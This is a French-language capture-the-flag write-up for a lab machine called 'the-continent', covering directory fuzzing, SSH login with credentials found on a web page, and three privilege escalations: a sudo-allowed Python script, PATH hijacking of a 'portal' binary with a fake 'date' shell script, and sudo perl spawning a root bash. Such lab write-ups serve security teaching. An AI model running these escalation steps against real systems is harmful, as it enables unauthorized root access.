Write-up: Privilege Escalation on the-continent

Reconnaissance

Nous lançons un scan de découverte de répertoires à l'aide de **ffuf** :

```
ffuf -u http://10.10.100.193/FUZZ -w
/snap/seclists/900/Discovery/Web-Content/directory-list-2.3-
medium.txt -mc 200,300,301
```

Cela nous révèle une URL complète :

http://10.10.148.30/t/o/s/s/_/a/_/c/o/i/n/_/t/o/_/y/o/u/r/_/w/i/t/c/h/e/r/_/o/h/_/v/a/l/l/e/y/_/o/f/_/p/l/e/n/t/y/

Accès initial

En inspectant le contenu de la page, nous trouvons une paire d'identifiants en clair :

```
jaskier:YouHaveTheMostIncredibleNeckItsLikeASexyGoose
```

Connexion SSH :

```
ssh jaskier@10.10.148.30
```

Escalade de privilèges #1 (jaskier → yen)

Nous vérifions les permissions sudo :

```
sudo -l
```

Résultat :

```
User jaskier may run the following commands on the-continent:
   (yen) /usr/bin/python3.6 /home/jaskier/toss-a-coin.py
```

Exécution du script en tant que yen :

```
sudo -u yen /usr/bin/python3.6 /home/jaskier/toss-a-coin.py
```

Escalade de privilèges #2 (yen → geralt)

On se déplace dans `/home/yen` et on trouve un exécutable `portal` crashant. On l'analyse avec `strace` :

```
strace -f -e execve ./portal 2>&1 | grep 'sh -c'
```

On remarque des appels à des commandes sans chemins absolus (`sh -c date`, etc.).

Exploitation : PATH hijacking

On crée un faux binaire `date` :

```
echo -e '#!/bin/sh\n/bin/sh' > ./date
chmod +x ./date
```

Et on exécute le binaire `portal` avec un PATH piégé :

```
PATH=.:$PATH ./portal
```

Cela nous donne un shell en tant que `geralt`.

Escalade de privilèges #3 (geralt → root)

On récupère le mot de passe de Geralt :

```
cat /home/geralt/password.txt

GERALT IH4teP0rt4ls
```

Puis on vérifie ses permissions `sudo` :

```
sudo -l
```

Résultat :

```
User geralt may run the following commands on the-continent:
   (root) /usr/bin/perl
```

Exploitation : GTFObins - Perl

En se basant sur GTFObins, on exécute :

```
sudo /usr/bin/perl -e 'exec "/bin/bash"'
```

Et nous obtenons un shell **root**.

Récupération du flag

On lit le flag dans `/root/root.txt` :

```
cat /root/root.txt
```